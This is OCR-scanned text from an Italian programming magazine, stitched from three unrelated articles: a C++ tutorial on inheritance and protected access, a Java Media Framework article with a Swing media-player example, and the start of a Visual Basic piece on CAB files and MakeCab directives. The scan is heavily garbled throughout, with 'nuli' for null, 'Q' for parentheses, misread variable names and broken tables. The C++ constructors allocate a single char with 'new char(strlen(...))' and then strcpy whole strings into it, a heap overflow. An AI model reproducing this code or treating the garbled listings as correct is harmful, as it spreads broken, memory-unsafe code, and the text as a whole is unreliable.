base): in questo sen- 
so possono essere 
chiamate interfacce, 
perché stabiliscono 
non la forma di una 
classe ma l'interfac- 
cia di una famiglia di 
classi. Vedremo in se- 
guito come imple- 
mentare questo mec- 
canismo e la sua ef- 
fettiva utilità. 
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Compatibilità 



ó 



Nel caso di de- 
rivazione pub- 
blica (": public No- 
meClasseBase"), 
ogni oggetto della 
classe derivata è an- 
che un oggetto della 
classe base, e può 
essere usato in ogni 
situazione in cui si 
usa un oggetto della 
classe base. In altre 
parole l'oggetto deri- 
vato è compatibile 
con l'oggetto base. 



La definizione del costruttore è quindi: 

SchedaAvanzata: :SchedaAvanzata(char* nom, 
char* tei, char* eml) 



{ 



//utilizziamo l'interfaccia. .. 

ImpostaNome(nom); 

ImpostaTelefono(tel); 

//accediamo direttamente al campo- 
email = new char(strlen(eml)); 
strcpy(email,eml); 



> 



Vi sembra tutto corretto? Non vi sembra strano 
che sia possibile usare i metodi di interfaccia di 
un oggetto che ancora non è stato costruito (lo 
stiamo costruendo noi nel costruttore)? 
In realtà il codice è corretto. Possiamo usare i 
metodi di interfaccia della classe base poiché il 
relativo costruttore viene invocato automatica- 
mente prima della prima istruzione del costrut- 
tore derivato. Prima cioè di invocare ImpostaNo- 
me() è stato invocato il costruttore Schedai). Que- 
sto è un comportamento standard, che però pos- 
siamo in qualche modo pilotare: ci farebbe co- 
modo infatti potere invocare direttamente il co- 
struttore a due argomenti, che ci eviterebbe di 
invocare i metodi di interfaccia, ottimizzando i 
tempi di esecuzione. In C++ è possibile fare (an- 
che) questo. 
Il modo per farlo è: 

//ridefinizione del costruttore 

SchedaAvanzata: :SchedaAvanzata(char* nom, 
char* tei, char* eml) : Scheda(nom,tel) 

{ 

email = new char(strlen(eml)); 

strcpy(email,eml); 

} 

si scrive cioè esplicitamente la chiamata del co- 
struttore che preferiamo, dopo l'intestazione 
della funzione, preceduto da ":", passando co- 
me argomenti gli argomenti del nuovo costrut- 
tore che ci interessano. Così facendo non viene 
chiamato il costruttore senza argomenti ma 
quello a due argomenti. Costruttore di copia e 
operatore di assegnazione hanno un comporta- 
mento del tutto analogo: nel caso in cui è neces- 
sario invocarli nel codice, il compilatore farà in 
modo di invocare i corrispettivi delle classi ba- 
se, prima della prima istruzione di quelli delle 
classi derivate. 

La stessa cosa vale per il distruttore, con l'unico 
accorgimento che il distruttore della classe base 
è invocato dopo l'ultima istruzione del distrut- 
tore della classe derivata, seguendo il principio: 
"prima dealloco quello che sta sopra (derivata) e 
poi quello che sta sotto (base) 11 . 



TIPI DI DERIVAZIONE 

Quando creiamo una classe, specifichiamo il ti- 
po di visibilità che hanno i singoli campi (pro- 
prietà e metodi): li creiamo public se vogliamo che 
siano visibili dall'esterno a chiunque, e li creia- 
mo private se invece vogliamo che restino nasco- 
sti da occhi (e codicei) indiscreti. Tuttavia abbia- 
mo visto quanto ci avrebbe fatto comodo poter 
accedere ai campi private di una classe dall'in- 
terno di un'altra classe da essa derivata: questo 
non è però possibile perché la classe derivata 
pur essendo imparentata con la classe base è a 
tutti gli effetti una classe distinta da essa, e quin- 
di i campi private sono per essa inaccessibili. 
Chi di noi non ha desiderato, anche solo per un 
istante, di poter toccare in qualche modo i cam- 
pi private della classe Scheda nella classe Sche- 
daAvanzata? E invece siamo condannati a non 
poterli toccare in alcun modo. Forse la stessa 
frustrazione deve averla provata anche Strou- 
strup, perché in effetti non siamo inermi di fron- 
te a questa nostra debolezza. 
Il segreto è in una nuova parola chiave che ha 
una funzione analoga a public e private: il modi- 
ficatore di accesso protected. Quando dichiaria- 
mo una classe possiamo fare in modo che alcuni 
campi siano invisibili dall'esterno come se fosse- 
ro private ma in qualche modo visibili alle classi 
derivate come fossero public: basta dichiararli in 
una parte etichettata come protected. I campi pro- 
tected in assenza di ereditarietà sono in tutto e 
per tutto uguali ai campi private: è solo nel caso 
vengano ereditati da un'altra classe che campi 
private e protected si comportano diversamente. 
Quanto diversamente dipende però dal tipo di 
derivazione che abbiamo scelto: perché possia- 
mo anche scegliere il tipo di ereditarietà da ap- 
plicare! 

Abbiamo visto in precedenza che l'indicazione 
della classe base si indica con "; public " seguito 
dal nome della classe base: ad esempio basta 
guardare la dichiarazione della nostra classe 
SchedaAvanzata. La parola public (credevate forse 
ci fossimo dimenticati dell'impegno di spiegarvi 
cos'è?) indica il tipo di ereditarietà che abbiamo 
scelto. 

A parte l'assenza di fantasia nella scelta dei ter- 
mini, osserviamo che ci sono tre tipi di eredita- 
rietà possibili (Tab. 1): 



Classe Base 


Classe Derivata 




àeriv. pubblica 


àeriv. protetta 


àeriv. privata 


privato 


inaccessibile 


inaccessibile 


inaccessibile 


protetto 


protetto 


protetto 


privato 


pubblico 


pubblico 


protetto 


privato 



Tab. 1: Tabella di ricapitolazione dei livelli di 
accesso dei campi della classe derivata rispetto al 
livello di accesso dei campi della classe base. 



80 ►►► G e n n 



http: //www. itportal.it 



1. derivazione pubblica (parola chiave public): i 

campi public e protected della classe base 
mantengono lo stesso livello di accesso nella 
classe derivata (cioè public e protected); 

2. derivazione privata (parola chiave private): i 
campi public e protected della classe base di- 
ventano private nella classe derivata; 

3. derivazione protetta (parola chiave protec- 
ted): i campi public e protected della classe ba- 
se divengono protected nella classe derivata. 

Indipendentemente dal tipo di ereditarietà scel- 
ta, i campi private semplicemente rimangono 
inaccessibili in ogni caso, sia alle classi derivate 
che dall'esterno. 

Alla luce di questa descrizione capiamo perché 
i campi nome e telefono della classe Scheda non 
sono accessibili in Scheda Avanzata: essi sono 
campi private, che quindi rimangono in ogni ca- 
so invisibili. 

Come avremmo potuto risolvere il problema? 
Semplicemente dichiarandoli protected. 
In effetti, se per Scheda avessimo avuto la se- 
guente dichiarazione: 



class Scheda 


{ 


public: 


//funzioni della classe... 




//es. costruttori, 


distruttore... 


protected: 


char* nome; 


char* telefono; 


}; 



nel codice del costruttore della classe SchedaA- 
vanzata avremmo potuto usare i campi nome e 
telefono come fossero stati campi protetti (e 
quindi visibili), usando quindi il seguente codi- 
ce ben più semplice da capire (e rapido da ese- 
guire) dei precedenti: 

SchedaAvanzata: :SchedaAvanzata(char* nom, 
char* tei, char* eml) 

{ 

//accediamo direttamente ai campi 

nome = new char(strlen(nom)); 

strcpy(nome,nom); 

telefono = new char(strlen(tel)); 

strcpy(telefono,tel); 

email = new char(strlen(eml)); 

strcpy(email,eml); 



In effetti abbiamo potuto ottenere lo stesso ri- 
sultato del codice precedente anche per altre 
vie, però solo in questo caso evitiamo chiamate 



superflue di funzioni. Nell'ordine, i tentativi da 
fare quando si deve accedere ad una proprietà 
di un oggetto della classe base dall'interno del- 
la classe derivata sono: 

1. speriamo che il campo sia protected, così sarà 
visibile senza problemi nella classe derivata; 

2. speriamo che nell'interfaccia della classe ba- 
se siano disponibili le funzioni necessarie ai 
nostri compiti; 

3. sicuramente (tranne casi particolari, pratica- 
mente voluti) possiamo sperare nel costrut- 
tore della classe base; 

Tutto questo naturalmente escludendo il caso 
veramente improbabile che la proprietà sia pub- 
blica (anche se non è impossibile): infatti le pro- 
prietà di un oggetto servono a codificarne lo 
stato (ricordate?), e lo stato di un oggetto, la sua 
struttura, non può essere visibile all'esterno 
(per il meccanismo /requisito di information hi- 
ding). 



CONCLUSIONI 

In questo appuntamento abbiamo scoperto uno 
strumento potentissimo messoci a disposizione 
dal C++: V ereditarietà. 

In realtà V ereditarietà non è un vero e proprio 
strumento del C++: è una delle differenze che si 
hanno tra gli oggetti e le comuni variabili di un 
programma, per le quali non esiste nulla di ana- 
logo. È cioè una caratteristica propria degli og- 
getti, che in C++ ha una adeguata traduzione 
sintattica. 

Attraverso questo meccanismo possiamo defini- 
re una classe ad esempio semplicemente espri- 
mendone le differenze con una classe preesi- 
stente. 

La situazione può vedersi in altro modo consi- 
derando la classe derivata come una specializ- 
zazione della classe base, come è successo pro- 
prio con le classi SchedaAvanzata e Scheda. Ab- 
biamo inoltre visto che un oggetto della classe 
derivata è anche un oggetto della classe base, 
ma non viceversa. 

Nella prossima puntata avremo modo di parla- 
re più approfonditamente di come si possono 
estendere i metodi della classe base ridefinen- 
doli nella classe derivata, facendo così assomi- 
gliare sempre di più gli oggetti della classe deri- 
vata agli oggetti della classe base: questa non è 
cosa di poco conto, in quanto contribuisce ad 
aumentare la coerenza nei nostri programmi. 
Non mancate! 

Marco del Gobbo 
Alfredo Marroccelli 




Pubblio 
e Private 

I /il Chi di noi non ha 
\ ^\ desiderato, an- 
che solo per un istan- 
te, di poter toccare in 
qualche modo i campi 
private della classe 
Scheda nella classe 
SchedaAvanzata? 
E invece siamo con- 
dannati a non poterli 
toccare in alcun mo- 
do. Forse la stessa 
frustrazione deve 
averla provata anche 
Stroustrup, perché in 
effetti non siamo 
inermi di fronte a 
questa nostra debo- 
lezza. 
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Streaming 



E VIDEO-ON-DEMAND 



Java è forse il linguaggio di programmazione che meglio 
si presta alla gestione di elementi multimediali all'interno 
delle applicazioni. Già con l'ambiente standard del JDK 
vengono forniti molti strumenti per la riproduzione di 
contenuti audio e video, per la realizzazioni di animazioni 
e altro ancora. Esistono degli optional package, come 
JMF, che estendono questi strumenti dando la possibilità 
di catturare direttamente contenuti audio e video, 
elaborarli e trasmetterli in streaming attraverso la rete. 



File Sul CD 

\soft\codice 
\JMFSourceCode.zip 



Formati 
supportati 
da JMF 2.1.1 

[7K\ La versione 2.1.1 
r^S\ del package sup- 
porta diversi tipi di me- 
dia tra cui: 

protocolli - FILE, HTTP, 
FTP, RTP. 

audio- AIFF, AU, AVI, 
GSM, MIDI, MP2, MP3, 
QT, RMF, WAV. 

video - AVI, MPEG-1, 
QT, H.261, H.263. 

JMF fornisce anche il 
supporto pure a formati 
"concorrenti" come ad 
esempio Flash 2 e Hot- 
Media. 



Il package Java Media Framework, meglio conosciuto 
con la sigla JMF rappresenta la soluzione ideale per 
la realizzazione di applicazioni che richiedono un 
utilizzo combinato di audio e video (o di altri media 
fortemente legati al fattore tempo). La vera natura del 
package è subito svelata esaminando i moduli javax 
.media.rtp, javax. media. rtp.event e javax.media.rtp.rtcp: es- 
si contengono le classi necessarie ala trasmissione e al- 
la ricezione di segnali audio e video in streaming attra- 
verso la rete. 

Uno dei protocolli supportati è infatti il Real-Time Tran- 
sport Protocol (RTP) che può essere facilmente utilizzato 
in diversi campi, dalla realizzazione di canali televisivi 
in broadcasing su internet, ad applicazioni media-on- 
demand di tipo interattivi fino ad arrivare a servizi pu- 
ramente di telefonia attraverso la rete. Tramite l'impie- 
go del package JFM è quindi possibile sviluppare ad 
esempio prodotti di videoconferenza in cui la comuni- 
cazione, supportata da internet come mezzo trasmissi- 
vo, fonde l' audio-video in un unico media con la natu- 
ra "software" delle applicazioni. Dati, immagini e suo- 
ni si possono combinare per estendere la possibilità di 
comunicazione e di interazione tra individui fisica- 
mente distanti. Sul mercato esistono diversi prodotti si- 
mili, basati generalmente su sistemi client/ server di 
streaming. 

Java Media Framework si distingue dalla concorrenza 
grazie ad alcuni suoi punti di forza: 

• Consente uno sviluppo semplice ed immediato in 
Java di applicazioni di comunicazioni media (au- 
dio e video sincronizzati) e di streaming. 

• Si può avvalere dell'impiego di periferiche, come 



ad esempio videocamere digitali, per generare i fil- 
mati da trasmettere (capturing media). 

AVI, GSM, MIDI, MPEG, QuickTime, RMF e WAV 
sono solo alcuni dei formati più comuni tra quelli 
supportati. 

Provvede ad unificare i vari formati media renden- 
do disponibile una piattaforma unica da utilizzare. 

Permette con estrema facilità di sincronizzazione 
dei contenuti. 



TIME BASED MEDIA 

La sincronizzazione è importante in applicazioni di 
questo tipo, in cui le informazioni cambiano rispettan- 
do dei precisi vincoli temporali: come per il montaggio 
di un film, le sequenze video, le animazioni e gli sfon- 
di musicali devono rispettare i tempi previsti per non 
alterare il risultato finale. Le sorgenti da cui attingere 
per ottenere questi "time-based media" possono essere 
veramente di natura diversa: ad esempio è possibile re- 
cuperare i dati da dei file (sia essi presenti sul proprio 
computer che su un server remoto) sotto forma di MP3 
o MPEG, oppure ottenuti direttamente attraverso mi- 
crofoni e webcam (i cosidetti sistemi di presa diretta). 
Esempi di time-based media possono essere i video 
clip oppure le sequenze MIDI (molto usati come base 
negli strumenti musicali elettronici). L'input così otte- 
nuto può subire una elaborazione sia in fase di tra- 
smissione che di ricezione, come ad esempio l'inseri- 
mento di effetti, la conversione di formato o la com- 
pressione per ridurre l'occupazione di banda durante il 
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trasferimento. I dati, una volta ricevuti possono essere 
salvati in un file, riprodotti direttamente a video op- 
pure rispediti di nuovo attraverso la rete. 



TRACK 

Ciascuna sorgente prende il nome di "traccia" (esem- 
pio: traccia audio e traccia video) e devono essere cor- 
rettamente identificate attraverso il loro formato e la 
modalità di recupero. Ad esempio, se si tratta di un 
brano memorizzato in un file in formato MP3, la trac- 
cia può venire recuperata attraverso il protocollo "File" 
indicando la sua posizione cioè l'URL (che può essere 
un percorso o indirizzo della rete oppure l'elenco di 
cartelle e di sottocartelle nel file system locale). Diver- 
se tracce possono andare a formare un media-stream. 
Nel caso in cui su uno stesso canale sono presenti di- 
verse tracce si parla di multiplexed media stream: prima 
di poter essere trattato per la memorizzazione o la vi- 
sualizzazione è neccessario sottoporre il flusso di dati 
ad un processo di demultiplexing, cioè di estrazione 
delle singole tracce. 

STREAMING MEDIA 

Il canale usato per la trasmissione dei dati così prodot- 
ti deve essere qualcosa di più che un semplice stream 
dati! La ricezione e la visualizzazione dei dati deve es- 
sere vincolato in termini temporali da dei precisi inter- 
valli (timeframe) in modo da rispettare i tempi di pro- 
duzione. Se così non fosse possibile si potrebbe avere 
l'introduzione di pause d'attesa nella riproduzione: 
per rispettare i tempi è preferibile una perdita di riso- 
luzione (esempio classico: la riduzione nel numero di 
frame visualizzati in un secondo per un video). 

WRITE ONCE, 
RUN ANYWHERE 

Questo è lo slogan più famoso con il quale viene de- 
scritta l'enorme potenzialità di Java: scrivi una volta, 
esegui dovunque e il package JMF lo rispetta in pieno! 
La piattaforma JFM è in realtà composta da due mo- 
duli: un plug-in da installare sulla propria macchina 
(bisogna procurarsi quello appositamente sviluppato 
per il sistema operativo residente) e una serie di classi 
che il programmatore utilizza nelle proprie applicazio- 
ni per accedere al framework. In questo modo un'ap- 
plicazione scritta utilizzando TAPI del JMF (sia essa 
un'applicazione desktop che un applet) può essere ese- 
guita senza problemi su qualunque computer che ab- 
bia installato l'apposito plug-in. Utilizzando le librerie 
del package JFM, la riproduzione di file multimediali 
diventa una operazione semplicissima da realizzare. 
Infatti tutti i processi di caricamento, di determinazio- 
ne del formato, di decodifica e di riproduzione del me- 
dia avvengono in maniera del tutto automatico attra- 
verso due classi chiave: Manager e Player. La prima vie- 
ne utilizzata per costruire il Player da utilizzare per la 



riproduzione del media: in base al tipo di sorgente uti- 
lizzata esistono degli appopriati metodi createPlayerO 
da richiamare sulla classe Manager. 

Player player = Manager.createPlayer(resource); 

La sorgente da passare come parametro al metodo può 
essere recuperata o attraverso un DataSource (quando 
si usa un protocollo) o attraverso un oggetto URL (in 
base alla posizione del file) o in alternativa tramite un 
MediaLocator. Ad esempio, se il media è memorizzato 
in un file: 

URL uri = file.toURLQ; 

Player player = Manager.createPlayer(url); 

Una volta ottenuto il player per avviare la riproduzio- 
ne nel caso di un file audio basta richiamare su di esso 
il metodo starti). Se al posto del file audio avessimo co- 
me sorgente un filmato, così facendo potremmo senti- 
re solo l'eventuale sonoro del video ma non le imma- 
gini. Vediamo subito il perché di questa cosa. 



Istruzioni per l'installazione 

Dall'Agosto 2002 è disponibile sul sito internet 

della Sun la più recente versione 2.1.1b di Java 

Media Framework. Collegandosi all'indirizzo: 

http://java.sun.eom/products/java-media/jmf/2.l.l 

/download.html 

è possibile scaricare il package delle sole classi in 

formato zip oppure l'eseguibile autoinstallante 

per Windows o lo shell script per Solaris, entambi 

dotanti anche dell'apposito plug-in. 

Per poter funzionare correttamente, l'optional 

package JFM ha bisogno di un computer che 

abbia delle caratteristiche minime essenziali: 

• Processore Pentium 166 MHz Pentium, Po- 
werPC 160 MHz, UltraSparc 166 MHz o supe- 
riori. 

• 32 MB RAM o superiori. 

• Una scheda sonora, opzionale, se è necessario 
riprodurre contenuti audio. Tra quelle consi- 
gliate troviamo le schede SoundBlaster (com- 
prese quelle compatibili) in ambiente Windows 
e le Ultimedia sound card per le macchine 
AIX. 

Una volta scelto il formato per il download, si può 
procedere con l'installazione ricordando che il file 
zip contiene solamente il package delle classi e 
non il plug-in e i tools di supporto. 



CONTROLLER 

Oltre a svolgere il ruolo di riproduttore dei media, il 
Player è composto anche da due componenti utilizza- 
bili nella Graphical User Interface dell'applicazione: 
un modulo di controllo per la riproduzione ed un altro 
per la visualizzazione delle immagini dei video. Senza 
l'inserimento di questi componenti all'interfaccia gra- 
fica non è possibile né controllare la riproduzione (ad 




ava 



a: 



Differenze 
tra JMF 2.1.1 
e JMF 1.1 

I La versione 1.1 è 
| incentrata princi- 
palmente sulla ripro- 
duzione dei media, cu- 
randone l'implementa- 
zione su ambienti di- 
versi come Windows e 
le piattaforma Solaris 
/SPARC. Nella vesrione 
2.1.1, oltre ad aver in- 
trodotto la compatibili- 
tà per l'ambiente Linux, 
si è dato maggior risalto 
al supporto per la cat- 
tura delle sorgenti (sia 
audio che video), alla 
trasmissione attraver- 
so stream e al passag- 
gio da un formato ad 
un altro, con la possi- 
bilità di inserire nuovo 
codex ed effetti nel fra- 
mework attraverso 
plug-in. 
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Ja 



MP3 e CD 
audio/DVD 



[7%\ Con ,a versione 
K^l 2.1.1 è stato in- 
trodotto un supporto 
ottimizzato alla ripro- 
duzione del formato 
MPEG-1 layer 3, più 
noto come MP3. Sfor- 
tunatamente non è pre- 
vista una gestione di- 
retta dei CD audio o 
dei DVD. Esiste però 
un'alternativa: è pos- 
sibile, per la versione 
Windows, leggere le 
tracce CD usando come 
URL il percorso corri- 
spondente. 
Ad esempio: 

"FILE://D://Track01.cda" 

se il CD-ROM è indivi- 
duato dalla lettera D. 



esempio fermarla oppure spostare il cursore di esecu- 
zione) né visualizzare le eventuali immagini. Il metodo 
starti) chiamato sul player produce come unico effetto 
l'esecuzione dell'audio direttamente alle casse del PC 
senza visualizzare alcunché neir applicazione. Il Player 
svolge quindi anche la funzione di Controller dei com- 
ponenti grafici (se vengono visualizzati) e come tutti i 
controller richiede un ControllerListener che gestisca 
tutti gli eventi che possono essere prodotti durante l'e- 
secuzione del media, come ad esempio quando si arri- 
va alla fine del file oppure quando il player viene av- 
viato o fermato. 



CONTROLLERLISTENER 

Il ControllerListener è l'interfaccia usata per la gestione 
degli eventi generati dagli oggetti del Controller. Essa 
ha la funzione di aggiornare il controller in base agli 
eventi che vengono man mano catturati e passati all'a- 
scoltatore mediante il metodo controlleriIpdate(Control- 
lerEvent event) chiamato sull'istanza. Generalmente la 
caratterizzazione del tipo dell'evento viene eseguita al- 
l'interno del metodo controllerUpdate nella classe che 
implementa l'interfaccia tramite l'operatore instanceof: 

if (event instanceof EventTypel) 

{ - > 

else if (event instanceof EventType2) 

{ - > 



CONTROLLERADAPTER 

Più che implementare una classe da ControllerListener 
è più conveniente definirla come estensione della clas- 
se Controller Adapter. Questo perché ci si può concentra- 
re solo su alcuni particolari eventi senza dover preve- 
dere la risposta per tutti quelli che si potrebbero verifi- 
care. Così facendo, l'Adapter chiama i metodi di ge- 
stione implementati solo per alcuni tipi di eventi men- 
tre gestisce autonomamente tutti gli altri eventi non 
previsti. Ad esempio: 

player.addControllerListener(new ControllerAdapterQ { 

public void endOfMedia(EndOfMediaEvent e) { 

Controller controller = e.getSourceQ; 

controller.stopQ; 

controller.setMediaTime(new Time(Q)); 

controller.deallocateQ; 

} 

» 

dove l'ascoltatore è realizzato facendo uso di un'A- 
nonymous Class, cioè una classe anonima di cui esiste la 
dichiarazione unica. In questo caso si lascia all' Adapter 
la gestione autonoma di tutti gli eventi tranne quello 
relativo alla fine del media. Possiamo costruire un 
Adapter un pò più raffinato, in grado di gestire la vi- 
sualizzazione dei componenti grafici del Player in base 
al tipo di media da riprodurre: nel caso di un file audio 



nell'interfaccia grafica verrà inserito soltanto il modulo 
di controllo, mentre se si tratta anche di un file video al- 
lora verrà inserito anche il modulo per la visualizza- 
zione delle immagini (altrimenti non necessario). Di se- 
guito è riportato un esempio di Adapter realizzato fa- 
cendo uso di una Anonymous Class: 



URL uri = file.toURLQ; 

Container contentPane = getContentPaneQ; 

if (player != nuli) player.stopQ; 

player = Manager.createPlayer(url); 

ControllerListener listener = new ControllerAdapterQ 

{//Anonymous Class 

public void realizeComplete(RealizeCompleteEvent event) 
{ Component visualComponentUI = 

player.getVisualComponentQ; 

if (visualComponentUI != nuli) 

{ contentPane. add( visualComponentUI, 

BorderLayout.CENTER); 

componentPlayer = visualComponentUI; 

} 

else if (componentPlayer != nuli) 

{ 

contentPane. remove(componentPlayer); 

contentPane. validateQ; 

} 

Component controlPanelComponent = 

player.getControlPanelComponentQ; 

if (controlPanelComponent != nuli) 

{ contentPane. add( controlPanelComponent, 

BorderLayout.SOUTH); 

controlPaneIPlayer = controlPanelComponent; 

} 

else if (controlPaneIPlayer != nuli) 

{ contentPane. remove(controlPanelPlayer); 

contentPane. validateQ; 

} 

packQ; 

setTitle(file.getNameQ); 

} 

h 



i metodi getVisualComponentO e getControlPanelCompo- 
nent() richiamati sull'oggetto Player restituiscono ri- 
spettivamente il modulo di visualizzazione delle im- 
magini e quello di controllo della riproduzione. Alla 
prima esecuzione del metodo realizeComplete( . . .) si te- 
sta se il player ha prodotto i rispettivi componenti gra- 
fici e li si va ad inserire nella GUI, memorizzando in 
due variabili di supporto le istanze ottenute. Il player è 
strettamente legato alla sorgente, per cui quando cam- 
bia il file caricato viene generata una nuova istanza del 
player. Se viene cambiato il media file da riprodurre 
uno dei moduli può non essere più necessario per cui 
andrà rimosso dalla GUI: tramite le variabili di sup- 
porto è possibile risalire all'istanza del componente di- 
ventato inutile e quindi eliminarlo dall'interfaccia. 
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ESEMPIO 

Vediamo adesso come è possibile costruire un pro- 
gramma Java da usare come media player sia per file 
audio che per filmati (Fig. 1). 
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Open File... 
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Fig. 1: Ecco come si presenta l'esempio al momento 
dell'esecuzione. 



Costruiremo la classe intorno all'Adapter appena pro- 
posto, in modo da rendere dinamiche e allo stesso tem- 
po robuste le funzionalità dell'oggetto Player. 



import javax.swing.*; 

import javax. media.*; 

import java.awt.*; 

import java.awt.event.*; 

import java.net.*; 

import java.io.*; 

public class GeneralFilePlayer extends JFrame { 

Player player; 

Component componentPlayer; /*Modulo UI del Player 

destinato alla visualizzazione delle immagini video*/ 

Component controlPaneIPlayer; /*Modulo UI del Player 

destinato al controllo della riproduzione */ 

public GeneralFilePlayerQ { 

setDefaultCloseOperation(EXIT_ON_CLOSE); 

buildUIQ; 

showQ; } 

private void buildUIQ 

{ JButton button = new JButton("Select File"); 

ActionListener listener = new ActionListenerQ 

{/* Anonymous Class */ 

public void actionPerformed(ActionEvent event) 
{JFileChooser fileChooser = new JFileChooser("."); 
int status = fileChooser.showOpenDialog( 

GeneralFilePlayer.this); 

if (status == JFileChooser.APPROVE_OPTION) 

{ if (player! = null) player.stopQ; 

File file = fileChooser.getSelectedFileQ; 

try { load(file); } 

catch (Exception exp) {System. err.println( 

"Riprovare! Si è verificato un problema: 
" + exp);} 



} 



} 



button. addActionListener(listener); 



getContentPane().add( button, BorderLayout.NORTH); 

setBounds(100,100,20Q,20Q); 

pack();> 

public void load(final File file) throws Exception 

{ 

URL uri = file.toURLQ; 

final Container contentPane = getContentPaneQ; 

if (player != nuli) player.stopQ; 

player = Manager.createPlayer(url); 

ControllerListener listener = new ControllerAdapterQ 

{ //Anonymous Class 

public void realizeComplete( 

RealizeCompleteEvent event) 

{ /^Modulo di visualizzazione*/ 

Component visualComponentUI = 

player.getVisualComponentQ; 

if (visualComponentUI != nuli) 

{contentPane. add( visualComponentUI, 

BorderLayout.CENTER); 

componentPlayer = visualComponentUI;} 

else if (componentPlayer != nuli) 

{ contentPane. remove(componentPlayer); 

contentPane. validateQ; 

} 

/*Modulo di controllo*/ 

Component controlPanelComponent = 

player.getControlPanelComponentQ; 

if (controlPanelComponent != nuli) 

{ contentPane. add( controlPanelComponent, 

BorderLayout.SOUTH); 

controlPaneIPlayer = controlPanelComponent; 

} 

else if (controlPaneIPlayer != nuli) 

{ 

contentPane. remove(controlPanelPlayer); 

contentPane. validateQ; 

} 

packQ; 

setTitle(file.getNameQ); 

} 

}; 

player.addControllerListener(listener); 

player.startQ; 

} 

public static void main(String args[]) { 

new GeneralFilePlayerQ;} } 



CONCLUSIONI 

L'optional package Java Media Framework estende il 
concetto di supporto alla multimedialità fornito attra- 
verso i package del JDK. Infatti usando JMF è possibi- 
le riprodurre in maniera semplicissima sia fonti audio 
che video realizzati in diversi formati. In più, queste 
sorgenti possono essere non solo provenienti da file 
(sia essi locali che su macchine remote), ma anche da 
stream attraverso la rete. 

big. Antonino Panello. 
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Real-time 
Transport 
Protocol 

I II protocollo RTP 
I consente il tra- 
sporto attraverso il 
network transport 
functions di dati pro- 
dotti in real-time, come 
ad esempio audio, vi- 
deo o animazioni, sia 
su reti con servizi uni- 
cast che multicast. Non 
sono previsti dei parti- 
colari indirizzi riservati 
e non viene garantita 
la qualità dei servizi 
forniti. Il trasporto dei 
dati è soggetto a un 
protocollo di controllo 
(RTCP) con il quale vie- 
ne monitorizzato il flus- 
so dei dati in maniera 
scalabile su grandi reti 
multicast, introducen- 
do un minimo controllo 
sul flusso stesso. 
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Gestire 

I FILE CAB 

In questo appuntamento descriveremo gli strumenti 
che permettono di manipolare i file CABinet. 




isual 

Basic 



Ifile CAB rappresentano lo standard di compressio- 
ne per i file dei sistemi operativi di casa Microsoft, 
essi di solito sono memorizzati con estensione 
CAB, al loro interno contengono diversi file compressi. 
Date le loro caratteristiche, di solito, i file CAB vengo- 
no utilizzati per contenere i file dei pacchetti di instal- 
lazione dei sistemi operativi, dei controlli ActiveX o 
delle applicazioni. A tal proposito ricordiamo il tool 
creazione guidata pacchetti di installazione, presente 
tra gli strumenti di Visual Studio che, come è noto, ve- 
locemente e intuitivamente permette di creare i pac- 
chetti per distribuire le applicazioni implementate con 
Visual Basic. I file CAB oltre che con creazione guidata 
pacchetti di installazione, possono essere trattati con al- 
tri strumenti oppure all'interno dei progetti Visual Ba- 
sic. Inoltre possono essere letti con WinZip (dalla ver- 
sione 7 in poi) oppure essere manipolati con alcuni tool 
come MakeCab, Extract e APISetUp. In particolare Make- 
Cab ed Extract con una serie di accorgimenti consento- 
no di creare /estrarre "manualmente" o da programma 
dei file Cabinet. Le funzioni API, invece, permettono, 
solo, di avere informazioni ed estrarre i file contenuti 
nei CAB. 

In questo articolo scopriremo tutti i segreti dei file CAB 
e presenteremo gli strumenti elencati, a tal fine illu- 
streremo i seguenti argomenti ed esempi. 

• Descriveremo vari concetti sui file CAB. 

• Vedremo come utilizzare i tool MakeCAB e Extract 
e presenteremo un'applicazione Visual Basic che 
consente di creare gli elementi necessari per utiliz- 
zare questi tool. 

• Presenteremo YAPI Setup e una funzione API che 
permette di manipolare i file CAB da programma. 



MAKECAB 

L'utility Makecab.exe consente di creare i file "CAB", 
quindi comprimere in uno o più file di tipo CAB i com- 
ponenti della nostra applicazione. MakeCab funziona 
in modalità MsDos per questo per avviarlo da un'ap- 
plicazione Visual Basic bisogna utilizzare un file Bat co- 
me sarà chiaro tra poco. La creazione di un file CAB, at- 
traverso MakeCab, prevede innanzitutto la creazione di 
un file di "direttive" con estensione .ddf (acronimo che 



significa Diamond Directive File), che serve per dirigere 
MAKECAB durante la creazione del file CAB. Cerchia- 
mo di capire come opera MakeCab considerando il se- 
guente esempio di file DDF. Come accennato questi so- 
no costituiti da un insieme di direttive (istruzioni), noi 
descriveremo solo le direttive che utilizzeremo nei no- 
stri esempi (Tab. 1). 

.Option Explicit 

Set Cabinet=on 

.set Compressori 

.Set MaxDiskSize=CDRom 

.set ReservePerCabinetSize=6144 

.Set DiskDirectoryTemplate= 

.Set CompressionType=MSZip 

.Set CompressionLevel=7 

.Set CompressionMemory=21 

.SetCabinetNameTemplate=dati.cab 

"C:\filedacomprimere.txt" ; questo è il file da comprimere 



Direttiva 


Descrizione 


.Option Explicit 


Richiesta per la definizione 
delle variabile 


.Set variable=[value] 


Serve per settare il valore di 
una variabile 


' 


Commento all'interno del 
file DDF 


Cabinet=ON 1 OFF 


Setta su on (generazione 
file CAB) oppure su off lei 
modalità CAB 


CabinetNamen=filename 


Nome del file Cabinet 
CompressionLevel 


.CompressionMemory 


Sono relative al tipo di 
compressione 


Compress=ON 1 OFF 


Settato su on indica che i 
file devono essere compressi 


CompressionType=MSZIP 


Stabilisce il tipo di 
compressione da fare 


DiskDirectoryTemplate= 


Indica il nome della 
directory su disco 


MaxDiskSize=CdRom 


Impostata su CDRom 
stabilisce che non si settano 
dimensioni massime per lo 
spazio 


ReversePerCabinetSize=6144 


Riserva spazio per firma 
digitale 



Tag <Object> 
e <Param> 



\/%\ I f'Ie CAB sono 
1*^1 utilizzati anche 
nelle applicazioni per 
Internet quando si 
devono installare dei 
controlli. A tal fine 
nelle pagine HTML 
vengono utilizzati i 
Tag <Object> e <Pa- 
ram> per specificare i 
file CAB di supporto al 
controllo. Il file CAB 
per applicazioni In- 
ternet può essere 
prodotto per esempio 
dal Wizard fornito con 
Visual Studio. Questo 
argomento è stato 
trattato nei nostri 
precedenti articoli che 
vi invitiamo a consul- 
tare. 



Tab. 1: Direttive utilizzate nei nostri esmpi. 
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File Modifica Formato Visualizza ? 




|. Option Explicit 




.set cabinet=on 




. set compre5s=on 




.set MaxDisksize=CDRorai 




. set ReservePercabinetsize=6144 




.set DiskDirectoryTemplate= 




.set compressionType=MSZip 




.set compressi oni_evel=7 




.set compressi onMemory=21 




. set cabi netNameTempl ate=dati . cab 

